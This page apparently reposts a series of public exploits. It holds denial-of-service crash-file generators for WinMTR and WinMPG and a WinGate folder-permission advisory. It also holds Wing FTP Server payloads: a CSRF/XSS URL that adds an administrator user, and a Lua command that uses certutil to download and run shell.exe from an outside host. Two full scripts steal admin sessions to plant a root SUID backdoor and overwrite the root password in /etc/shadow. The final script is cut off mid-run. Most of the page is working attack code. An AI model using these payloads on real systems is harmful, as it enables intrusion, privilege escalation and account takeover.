Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863151863

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

# Exploit Title: WinMTR 0.91 - Denial of Service (PoC)
# Dork: N/A
# Date: 2018-11-01
# Exploit Author: Ihsan Sencan
# Vendor Homepage: http://winmtr.net
# Software Link: http://winmtr.net/winmtr_download/
# Version: 0.91
# Category: Dos
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A

# POC: 
# 1)
# Host: Payload

#!/usr/bin/python
    
buffer = "A" * 238
 
payload = buffer
try:
    f=open("exp.txt","w")
    print "[+] Creating %s bytes evil payload." %len(payload)
    f.write(payload)
    f.close()
    print "[+] File created!"
except:
    print "File cannot be created."
            
# Exploit Title: WinMPG Video Convert Local Dos Exploit
# Date: 15.03.2019
# Vendor Homepage:http://www.winmpg.com
# Software Link:  http://www.winmpg.com/down/WinMPG_VideoConvert.zip
# Exploit Author: Achilles
# Tested Version: 9.3.5 and older ones
# Tested on: Windows XP SP3 EN


# 1.- Run python code :WinMPG.py
# 2.- Open EVIL.txt and copy content to clipboard
# 3.- Open WinMPG.exe and Click 'ALL-AVI'
# 4.- In the new Window click Register
# 5.- Paste the content of EVIL.txt into the Field: 'Name and Registration Code'
# 6.- Click 'Register'and you will see a crash.



#!/usr/bin/env python
buffer = "\x41" * 6000

try:
	f=open("Evil.txt","w")
	print "[+] Creating %s bytes evil payload.." %len(buffer)
	f.write(buffer)
	f.close()
	print "[+] File created!"
except:
	print "File cannot be created"
            
# Exploit Title: WinGate 9.4.1.5998 - Insecure Folder Permissions
# Date: 2020-06-05
# Exploit Author: hyp3rlinx
# Vendor Homepage: https://www.wingate.com
# Version: 9.4.1.5998
# CVE: CVE-2020-13866


[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/WINGATE-INSECURE-PERMISSIONS-LOCAL-PRIVILEGE-ESCALATION.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     


[Vendor]
wingate.com


[Product]
WinGate v9.4.1.5998

WinGate is a sophisticated integrated Internet gateway and communications server designed to meet the control,
security and email needs of today's Internet-connected businesses.


[Vulnerability Type]
Insecure Permissions EoP


[CVE Reference]
CVE-2020-13866


[Security Issue]
WinGate has insecure permissions for the installation directory, which allows local
users ability to gain privileges by replacing an executable file with a Trojan horse.
The WinGate directory hands (F) full control to authenticated users, who can then run
arbitrary code as SYSTEM after a WinGate restart or system reboot.


C:\Program Files\WinGate>cacls WinGate.exe
C:\Program Files\WinGate\WinGate.exe NT AUTHORITY\Authenticated Users:(ID)F
                                     NT AUTHORITY\SYSTEM:(ID)F
                                     BUILTIN\Administrators:(ID)F
                                     BUILTIN\Users:(ID)R
                                     APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(ID)R
                                     APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(ID)R


[Affected Component]
WinGate Installation Directory

[Impact Code execution]
true

[Impact Denial of Service]
true

[Impact Escalation of Privileges]
true

[Impact Information Disclosure]
true


[Exploit/POC]
Logon as standard user replace WinGate.exe with a trojan executable, wait for restart or reboot the system, your code runs as SYSTEM.


[Network Access]
Local


[Severity]
High


[Disclosure Timeline]
Vendor Notification: May 10, 2020
Vendor acknowledgement: May 10, 2020
Vulnerability confirmed: May 18, 2020
Request status: May 22, 2020
No reply
Notify vendor request CVE: May 26, 2020
No reply
Advised of public disclosure: June 1, 2020
No reply
June 4, 2020 : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
            
Document Title:
===============
Wing FTP Server Admin 4.4.5 - CSRF & Cross Site Scripting Vulnerabilities


Release Date:
=============
2015-04-28


apparitionsec ID (AS-ID):
====================================
AS-WFTP0328


Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9


Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports
following protocols FTP, FTPS, HTTPS, SSH



Advisory Information:
==============================
Security researcher John Page discovered a CSRF & client-side cross site
scripting web vulnerability within Wing FTP Server Admin that allows adding
arbitrary users to the system.



Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new  patched version 4.4.6
April 28, 2015: Public Disclosure - John Page



Affected Product(s):
====================
Wing FTP Server Admin 4.4.5
Product: Wing FTP Server - Admin


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================


Request Method(s):
                                [+] POST & GET


Vulnerable Product:
                                [+] Wing FTP Server Admin 4.4.5


Vulnerable Parameter(s):
                                [+] domain & type


Affected Area(s):
                                [+] Server Admin


Proof of Concept (POC):
=======================
The CSRF and client-side cross site scripting web vulnerability can be
exploited by remote attackers without privileged application user account
and with low user interaction (click). Payload will add arbitrary users to
the system.

POC: Example

http://localhost:5466/admin_loglist.html?domain=[CSRF & XSS VULNERABILITIES]

POC: Payload(s) Add arbitrary user to the system:

http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemas
 ks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E


POC XSS:
http://localhost:5466/admin_viewstatus.html?domain=


POC XSS:
http://localhost:5466/admin_event_list.html?type=


Solution - Fix & Patch:
=======================
Vendor released updated version 4.4.6 Fix/Patch (Wing FTP Server)


Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9


Credits & Authors:
==================
John Page ( hyp3rlinx ) - ISR godz @apparitionsec


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.

Domains:  hyp3rlinx.altervista.org
            
# Exploit Title: CSRF add arbitrary users
# Google Dork:
# Date: 2015-04-28
# Exploit Author:  John Page (hyp3rlinx)
#Website: hyp3rlinx.altervista.org/
# Vendor Homepage: http://www.wftpserver.com/serverhistory.htm
# Software Link: http://www.wftpserver.com/
# Version: 4.4.5
# Tested on: windows 7
# Category: webapps

Wing FTP Server Admin 4.4.5 - CSRF Vulnerability Add Users

Vendor:
http://www.wftpserver.com/serverhistory.htm
============================================


Release Date:
=============
2015-04-28


Source:
====================================
http://hyp3rlinx.altervista.org/advisories/AS-WFTP0328.txt


Common Vulnerability Scoring System:
====================================
Overall CVSS Score 8.9


Product:
===============================
Wing FTP Server is a Web based administration FTP client that supports
following protocols FTP, FTPS, HTTPS, SSH


Advisory Information:
==============================
CSRF vulnerability within Wing FTP Server Admin that allows adding
arbitrary users to the system.


Vulnerability Disclosure Timeline:
==================================
March 28, 2015: Vendor Notification
March 28, 2015: Vendor Response/Feedback
April 19, 2015: Vendor Notification
April 28, 2015: Vendor released new version 4.4.6
April 28, 2015: Public Disclosure - John Page (hyp3rlinx)


Exploitation Technique:
=======================
Remote


Severity Level:
===============
High


Technical Details & Description:
================================


Request Method(s):
                                [+] POST


Vulnerable Product:
                                [+] Wing FTP Server Admin <= 4.4.5


Vulnerable Parameter(s):
                                [+] domain & type


Affected Area(s):
                                [+] Server Admin


Proof of Concept (POC):
=======================
The CSRF vulnerability can be exploited by remote attackers without
privileged application user account and with low user interaction (click).
Payload will add arbitrary users to the system.

POC: Example

http://localhost:5466/admin_loglist.html?domain=[CSRF]

POC: Add arbitrary user:

http://localhost:5466/admin_loglist.html?domain=%3Cscript%3EajaxRequest%28%27admin_adduser%27,%22domain%3dtest%26user%3d{%27username%27%3a%27hyp3rlinx%27,%27password%27%3a%27kuQrwgV%27,%27oldpassword%27%3a%27%27,%27max_download%27%3a%270%27,%27max_upload%27%3a%270%27,%27max_download_account%27%3a%270%27,%27max_upload_account%27%3a%270%27,%27max_connection%27%3a%270%27,%27connect_timeout%27%3a%275%27,%27idle_timeout%27%3a%275%27,%27connect_per_ip%27%3a%270%27,%27pass_length%27%3a%270%27,%27show_hidden_file%27%3a0,%27change_pass%27%3a0,%27send_message%27%3a0,%27ratio_credit%27%3a%270%27,%27ratio_download%27%3a%271%27,%27ratio_upload%27%3a%271%27,%27ratio_count_method%27%3a0,%27enable_ratio%27%3a0,%27current_quota%27%3a%270%27,%27max_quota%27%3a%270%27,%27enable_quota%27%3a0,%27note_name%27%3a%27%27,%27note_address%27%3a%27%27,%27note_zip%27%3a%27%27,%27note_phone%27%3a%27%27,%27note_fax%27%3a%27%27,%27note_email%27%3a%27%27,%27note_memo%27%3a%27%27,%27ipmasks%27%3a[],%27filemasks%27%3a[],%27directories%27%3a[],%27usergroups%27%3a[],%27subdir_perm%27%3a[],%27enable_schedule%27%3a0,%27schedules%27%3a[],%27limit_reset_type%27%3a%270%27,%27limit_enable_upload%27%3a0,%27cur_upload_size%27%3a%270%27,%27max_upload_size%27%3a%270%27,%27limit_enable_download%27%3a0,%27cur_download_size%27%3a%270%27,%27max_download_size%27%3a%270%27,%27enable_expire%27%3a0,%27expiretime%27%3a%272015-05-18%2021%3a17%3a46%27,%27protocol_type%27%3a63,%27enable_password%27%3a1,%27enable_account%27%3a1,%27ssh_pubkey_path%27%3a%27%27,%27enable_ssh_pubkey_auth%27%3a0,%27ssh_auth_method%27%3a0}%22,%20%22post%22%29%3C/script%3E


Security Risk:
==============
The security risk of the CSRF client-side cross site scripting web
vulnerability in the `domain` admin_loglist.html value has CVSS Score of 8.9


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any
warranty. the security research reporter John Page disclaims all
warranties, either expressed or implied, including the warranties of
merchantability and capability for a particular purpose. apparitionsec or
its suppliers are not liable in any case of damage, including direct,
indirect, incidental, consequential loss of business profits or special
damages.
            
# Exploit Title: Wing FTP Server 6.3.8 - Remote Code Execution (Authenticated)
# Date: 2020-06-26
# Exploit Author: v1n1v131r4
# Vendor Homepage: https://www.wftpserver.com/
# Software Link: https://www.wftpserver.com/download.htm
# Version: 6.3.8
# Tested on: Windows 10
# CVE : --

Wing FTP Server have a web console based on Lua language. For authenticated users, this console can be exploited to obtaining a reverse shell.

1) Generate your payload (e.g. msfvenom)
2) Send and execute via POST

POST /admin_lua_.html?r=0.3592753444724336 HTTP/1.1
Host: 192.168.56.105:5466
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.105:5466/admin_lua_term.html
Content-Type: text/plain;charset=UTF-8
Content-Length: 153
Connection: close
Cookie: admin_lang=english; admin_login_name=admin; UIDADMIN=75e5058fb61a81e427ae86f55794f1f5

command=os.execute('cmd.exe%20%2Fc%20certutil.exe%20-urlcache%20-split%20-f%20http%3A%2F%2F192.168.56.103%2Fshell.exe%20c%3A%5Cshell.exe%20%26shell.exe')
            
# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-03
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.5 and prior
# Tested on: Ubuntu 18.04
# CVE: N/A

# If $_WINGFTPDIR is the installation directory where Wing FTP was installed,
# $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable)
# $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable.
# We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA.
# https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup)



#!/bin/bash

echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)'
echo 'Exploit by Cary Hooper (@nopantrootdance)'

function writeBackdoor() {
	#this function creates a backdoor program (executes bash)
	echo "    Writing backdoor in $1"
	echo '#include <stdio.h>' > $1/foobarh00p.c
	echo '#include <sys/types.h>' >> $1/foobarh00p.c
	echo '#include <unistd.h>' >> $1/foobarh00p.c
	echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c
	gcc -w $1/foobarh00p.c -o $1/foobarh00p
}

function makeRequest() {
	#Executes Lua command in admin panel to set the suid bit/chown on our backdoor
	#Change owner to root
	curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html"  >/dev/null 2>/dev/null
	#Make SUID
	curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html"  >/dev/null 2>/dev/null
}

directories=( "/tmp" "/var/tmp" "/dev/shm" )
for dir in "${directories[@]}"
do
	#Check if directories are writeable
	if [ -w $dir ]
	then 
		echo "[!] Writeable directory found: $dir"
		export backdoordir=$dir
		break
	else 
		echo "    $dir is not writeable..."; fi
done

writeBackdoor $backdoordir

#Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/).
echo "    Finding the wftpserver directory"
export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver)
if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found.  Consider looking manually."; exit 1; fi
#Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary.  Change the variable below and comment out the code above.  
#export sessiondir="/opt/wftpserver/session_admin"

#While loop to wait for an admin session to be established.  
echo "    Waiting for a Wing FTP admin to log in.  This may take a while..."
count=0
while : ; do
	if [ "$(ls -A $sessiondir)" ]; then
		#If a session file exists, the UID_ADMIN cookie is the name of the file.
		echo "[!] An administrator logged in... stealing their session."
		export cookie=$(ls -A $sessiondir | cut -d '.' -f1)
		export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1)
		echo "    Changing IP restrictions on the cookie..."
		cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua
		cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua
		rm $backdoordir/$cookie.lua
		echo "[!] Successfully stole session."
		#Once found, make the malicious curl request
		export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir)
		echo "    Making evil request as Wing FTP admin... (backdoor in ${backdoordir})"
		makeRequest $cookie $urldir
		break
	else
		#Checks every 10 seconds.  Outputs date to terminal for user feedback purposes only.
		sleep 10
		let "count+=1"
		if [ $count -eq 10 ]; then date; fi
		echo "..."
	fi
done

#Check if backdoor was created correctly
if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo "    Something went wrong.  Backdoor is not SUID"; exit 1; fi
if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo "    Something went wrong.  Backdoor is not owned by root"; exit 1; fi

echo "    Backdoor is now SUID owned by root."
echo "[!] Executing backdoor. Cross your fingers..."
#Execute the backdoor... root!
$backdoordir/foobarh00p
            
# Exploit Title: Wing FTP Server 6.2.3 - Privilege Escalation
# Google Dork: intitle:"Wing FTP Server - Web"
# Date: 2020-03-02
# Exploit Author: Cary Hooper
# Vendor Homepage: https://www.wftpserver.com
# Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz
# Version: v6.2.3
# Tested on: Ubuntu 18.04, Kali Linux 4, MacOS Catalina, Solaris 11.4 (x86)


# Given SSH access to a target machine with Wing FTP Server installed, this program:
#	- SSH in, forges a FTP user account with full permissions (CVE-2020-8635)
#	- Logs in to HTTP interface and then edits /etc/shadow (resulting in CVE-2020-8634)
# Each step can all be done manually with any kind of code execution on target (no SSH)
# To setup, start SSH service, then run ./wftpserver.  Wing FTP services will start after a domain is created.
# https://www.hooperlabs.xyz/disclosures/cve-2020-8635.php (writeup)


#!/usr/bin/python3

#python3 cve-2020-8635.py -t 192.168.0.2:2222 -u lowleveluser -p demo --proxy http://127.0.0.1:8080

import paramiko,sys,warnings,requests,re,time,argparse
#Python warnings are the worst
warnings.filterwarnings("ignore")

#Argument handling begins
parser = argparse.ArgumentParser(description="Exploit for Wing FTP Server v6.2.3 Local Privilege Escalation",epilog=print(f"Exploit by @nopantrootdance."))
parser.add_argument("-t", "--target", help="hostname of target, optionally with port specified (hostname:port)",required=True)
parser.add_argument("-u", "--username", help="SSH username", required=True)
parser.add_argument("-p", "--password", help="SSH password", required=True)
parser.add_argument("-v", "--verbose", help="Turn on debug information", action='store_true')
parser.add_argument("--proxy", help="Send HTTP through a proxy",default=False)
args = parser.parse_args()

#Global Variables
global username
global password
global proxies
global port
global hostname
global DEBUG
username = args.username
password = args.password

#Turn on debug statements
if args.verbose:
	DEBUG = True
else:
	DEBUG = False

#Handle nonstandard SSH port
if ':' in args.target:
	socket = args.target.split(':')
	hostname = socket[0]
	port = socket[1]
else:
	hostname = args.target
	port = "22"

#Prepare proxy dict (for Python requests)
if args.proxy:
	if ("http://" not in args.proxy) and ("https://" not in args.proxy):
		print(f"[!] Invalid proxy.  Proxy must have http:// or https:// {proxy}")
		sys.exit(1)
	proxies = {'http':args.proxy,'https':args.proxy}
else:
	proxies = {}
#Argument handling ends

#This is what a <username>.xml file looks like.
#Gives full permission to user (h00p:h00p) for entire filesystem '/'.
#Located in $_WFTPROOT/Data/Users/
evilUserXML = """<?xml version="1.0" ?>
<USER_ACCOUNTS Description="Wing FTP Server User Accounts">
    <USER>
        <UserName>h00p</UserName>
        <EnableAccount>1</EnableAccount>
        <EnablePassword>1</EnablePassword>
        <Password>d28f47c0483d392ca2713fe7e6f54089</Password>
        <ProtocolType>63</ProtocolType>
        <EnableExpire>0</EnableExpire>
        <ExpireTime>2020-02-25 18:27:07</ExpireTime>
        <MaxDownloadSpeedPerSession>0</MaxDownloadSpeedPerSession>
        <MaxUploadSpeedPerSession>0</MaxUploadSpeedPerSession>
        <MaxDownloadSpeedPerUser>0</MaxDownloadSpeedPerUser>
        <MaxUploadSpeedPerUser>0</MaxUploadSpeedPerUser>
        <SessionNoCommandTimeOut>5</SessionNoCommandTimeOut>
        <SessionNoTransferTimeOut>5</SessionNoTransferTimeOut>
        <MaxConnection>0</MaxConnection>
        <ConnectionPerIp>0</ConnectionPerIp>
        <PasswordLength>0</PasswordLength>
        <ShowHiddenFile>0</ShowHiddenFile>
        <CanChangePassword>0</CanChangePassword>
        <CanSendMessageToServer>0</CanSendMessageToServer>
        <EnableSSHPublicKeyAuth>0</EnableSSHPublicKeyAuth>
        <SSHPublicKeyPath></SSHPublicKeyPath>
        <SSHAuthMethod>0</SSHAuthMethod>
        <EnableWeblink>1</EnableWeblink>
        <EnableUplink>1</EnableUplink>
        <CurrentCredit>0</CurrentCredit>
        <RatioDownload>1</RatioDownload>
        <RatioUpload>1</RatioUpload>
        <RatioCountMethod>0</RatioCountMethod>
        <EnableRatio>0</EnableRatio>
        <MaxQuota>0</MaxQuota>
        <CurrentQuota>0</CurrentQuota>
        <EnableQuota>0</EnableQuota>
        <NotesName></NotesName>
        <NotesAddress></NotesAddress>
        <NotesZipCode></NotesZipCode>
        <NotesPhone></NotesPhone>
        <NotesFax></NotesFax>
        <NotesEmail></NotesEmail>
        <NotesMemo></NotesMemo>
        <EnableUploadLimit>0</EnableUploadLimit>
        <CurLimitUploadSize>0</CurLimitUploadSize>
        <MaxLimitUploadSize>0</MaxLimitUploadSize>
        <EnableDownloadLimit>0</EnableDownloadLimit>
        <CurLimitDownloadLimit>0</CurLimitDownloadLimit>
        <MaxLimitDownloadLimit>0</MaxLimitDownloadLimit>
        <LimitResetType>0</LimitResetType>
        <LimitResetTime>1580092048</LimitResetTime>
        <TotalReceivedBytes>0</TotalReceivedBytes>
        <TotalSentBytes>0</TotalSentBytes>
        <LoginCount>0</LoginCount>
        <FileDownload>0</FileDownload>
        <FileUpload>0</FileUpload>
        <FailedDownload>0</FailedDownload>
        <FailedUpload>0</FailedUpload>
        <LastLoginIp></LastLoginIp>
        <LastLoginTime>2020-01-26 18:27:28</LastLoginTime>
        <EnableSchedule>0</EnableSchedule>
        <Folder>
            <Path>/</Path>
            <Alias>/</Alias>
            <Home_Dir>1</Home_Dir>
            <File_Read>1</File_Read>
            <File_Write>1</File_Write>
            <File_Append>1</File_Append>
            <File_Delete>1</File_Delete>
            <Directory_List>1</Directory_List>
            <Directory_Rename>1</Directory_Rename>
            <Directory_Make>1</Directory_Make>
            <Directory_Delete>1</Directory_Delete>
            <File_Rename>1</File_Rename>
            <Zip_File>1</Zip_File>
            <Unzip_File>1</Unzip_File>
        </Folder>
    </USER>
</USER_ACCOUNTS>
"""

#Verbosity function.  
def log(string):
	if DEBUG != False:
		print(string)

#Checks to see which URL is hosting Wing FTP
#Returns a URL, probably. HTTPS preferred.  empty url is checked in main()
def checkHTTP(hostname):
	protocols= ["http://","https://"]
	for protocol in protocols:
		try:
			log(f"Testing HTTP service {protocol}{hostname}")
			response = requests.get(protocol + hostname, verify=False, proxies=proxies)
			try:
				#Server: Wing FTP Server
				if "Wing FTP Server" in response.headers['Server']:
					print(f"[!] Wing FTP Server found at {protocol}{hostname}")
					url = protocol + hostname
			except:
				print("")
		except Exception as e:
			print(f"[*] Server is not running Wing FTP web services on {protocol}: {e}")
	return url

#Log in to the HTTP interface.  Returns cookie
def getCookie(url,webuser,webpass,headers):
	log("getCookie")
	loginURL = f"{url}/loginok.html"
	data = {"username": webuser, "password": webpass, "username_val": webuser, "remember": "true", "password_val": webpass, "submit_btn": " Login "}
	response = requests.post(loginURL, headers=headers, data=data, verify=False, proxies=proxies)
	ftpCookie = response.headers['Set-Cookie'].split(';')[0]
	print(f"[!] Successfully logged in!  Cookie is {ftpCookie}")
	cookies = {"UID":ftpCookie.split('=')[1]}
	log("return getCookie")
	return cookies

#Change directory within the web interface.
#The actual POST request changes state.  We keep track of that state in the returned directorymem array.
def chDir(url,directory,headers,cookies,directorymem):
	log("chDir")
	data = {"dir": directory}
	print(f"[*] Changing directory to {directory}")
	chdirURL = f"{url}/chdir.html"
	requests.post(chdirURL, headers=headers, cookies=cookies, data=data, verify=False, proxies=proxies)
	log(f"Directorymem is nonempty. --> {directorymem}")
	log("return chDir")
	directorymem = directorymem + "|" + directory
	return directorymem 

#The application has a silly way of keeping track of paths.
#This function returns the current path as dirstring.
def prepareStupidDirectoryString(directorymem,delimiter):
	log("prepareStupidDirectoryString")
	dirstring = ""
	directoryarray = directorymem.split('|')
	log(f"directoryarray is {directoryarray}")
	for item in directoryarray:
		if item != "":
			dirstring += delimiter + item
	log("return prepareStupidDirectoryString")
	return dirstring

#Downloads a given file from the server.  By default, it runs as root.
#Returns the content of the file as a string.
def downloadFile(file,url,headers,cookies,directorymem):
	log("downloadFile")
	print(f"[*] Downloading the {file} file...")
	dirstring = prepareStupidDirectoryString(directorymem,"$2f")  #Why wouldn't you URL-encode?!
	log(f"directorymem is {directorymem} and dirstring is {dirstring}")
	editURL = f"{url}/editor.html?dir={dirstring}&filename={file}&r=0.88304407485768"
	response = requests.get(editURL, cookies=cookies, verify=False, proxies=proxies)
	filecontent = re.findall(r'<textarea id="textedit" style="height:520px; width:100%;">(.*?)</textarea>',response.text,re.DOTALL)[0]
	log(f"downloaded file is: {filecontent}")
	log("return downloadFile")
	return filecontent,editURL

#Saves a given file to the server (or overwrites one).  By default it saves a file with
#644 permission owned by root.
def saveFile(newfilecontent,file,url,headers,cookies,referer,directorymem):
	log("saveFile")
	log(f"Directorymem is {directorymem}")
	saveURL = f"{url}/savefile.html"
	headers = {"Content-Type": "text/plain;charset=UTF-8", "Referer": referer}
	dirstring = prepareStupidDirectoryString(directorymem,"/")
	log(f"Stupid Directory string is {dirstring}")
	data = {"charcode": "0", "dir": dirstring, "filename": file, "filecontent": newfilecontent}
	requests.post(saveURL, headers=headers, cookies=cookies, data=data, verify=False)
	log("return saveFile")

#Other methods may be more stable, but this works.
#"You can't argue with a root shell" - FX
#Let me know if you know of other ways to increase privilege by overwriting or creating files.  Another way is to overwrite
#the Wing FTP admin file, then leverage the lua interpreter in the administrative interface which runs as root (YMMV).
#Mind that in this version of Wing FTP, files will be saved with umask 111.  This makes changing /etc/sudoers infeasible.

#This routine overwrites the shadow file
def overwriteShadow(url):
	log("overwriteShadow")
	headers = {"Content-Type": "application/x-www-form-urlencoded"}
	#Grab cookie from server.
	cookies = getCookie(url=url,webuser="h00p",webpass="h00p",headers=headers)

	#Chdir a few times, starting in the user's home directory until we arrive at the target folder
	directorymem = chDir(url=url,directory="etc",headers=headers,cookies=cookies,directorymem="")
	
	#Download the target file.
	shadowfile,referer = downloadFile(file="shadow",url=url,headers=headers,cookies=cookies,directorymem=directorymem)

	# openssl passwd -1 -salt h00ph00p h00ph00p
	rootpass = "$1$h00ph00p$0cUgaHnnAEvQcbS6PCMVM0"
	rootpass = "root:" + rootpass + ":18273:0:99999:7:::"

	#Create new shadow file with different root password & save
	newshadow = re.sub("root(.*):::",rootpass,shadowfile)
	print("[*] Swapped the password hash...")
	saveFile(newfilecontent=newshadow,file="shadow",url=url,headers=headers,cookies=cookies,referer=referer,directorymem=directorymem)
	print("[*] Saved the forged shadow file...")
	log("exit overwriteShadow")

def main():
	log("main")
	try:
		#Create ssh connection to target with paramiko
		client = paramiko.SSHClient()
		client.load_system_host_keys()
		client.set_missing_host_key_policy(paramiko.WarningPolicy)
		try: 
			client.connect(hostname, port=port, username=username, password=password)
		except:
			print(f"Failed to connect to {hostname}:{port} as user {username}.")
		
		#Find wftpserver directory
		print(f"[*] Searching for Wing FTP root directory. (this may take a few seconds...)")
		stdin, stdout, stderr = client.exec_command("find / -type f -name 'wftpserver'")
		wftpDir = stdout.read().decode("utf-8").split('\n')[0].rsplit('/',1)[0]
		print(f"[!] Found Wing FTP directory: {wftpDir}")
		#Find name of <domain>
		stdin, stdout, stderr = client.exec_command(f"find {wftpDir}/Data/ -type d -maxdepth 1")
		lsresult = stdout.read().decode("utf-8").split('\n')
		#Checking if wftpserver is actually configured.  If you're using this script, it probably is.
		print(f"[*] Determining if the server has been configured.")
		domains = []
		for item in lsresult[:-1]:
			item = item.rsplit('/',1)[1]
			if item !="_ADMINISTRATOR" and item != "":
				domains.append(item)
				print(f"[!] Success. {len(domains)} domain(s) found! Choosing the first: {item}")
		domain = domains[0]
		#Check if the users folder exists
		userpath = wftpDir + "/Data/" + domain
		print(f"[*] Checking if users exist.")
		stdin, stdout, stderr = client.exec_command(f"file {userpath}/users")
		if "No such file or directory" in stdout.read().decode("utf-8"):
			print(f"[*] Users directory does not exist.  Creating folder /users")
			#Create users folder
			stdin, stdout, stderr = client.exec_command(f"mkdir {userpath}/users")
		#Create user.xml file
		print("[*] Forging evil user (h00p:h00p).")
		stdin, stdout, stderr = client.exec_command(f"echo '{evilUserXML}' > {userpath}/users/h00p.xml")
		#Now we can log into the FTP web app with h00p:h00p
		
		url = checkHTTP(hostname)
		#Check that url isn't an empty string (and that its a valid URL)
		if "http" not in url:
			print(f"[!] Exiting... cannot access web interface.")
			sys.exit(1)

		#overwrite root password
		try:
			overwriteShadow(url)
			print(f"[!] Overwrote root password to h00ph00p.")
		except Exception as e:
			print(f"[!] Error: cannot overwrite /etc/shadow: {e}")

		#Check to make sure the exploit worked.
		stdin, stdout, stderr = client.exec_command("cat /etc/shadow | grep root")
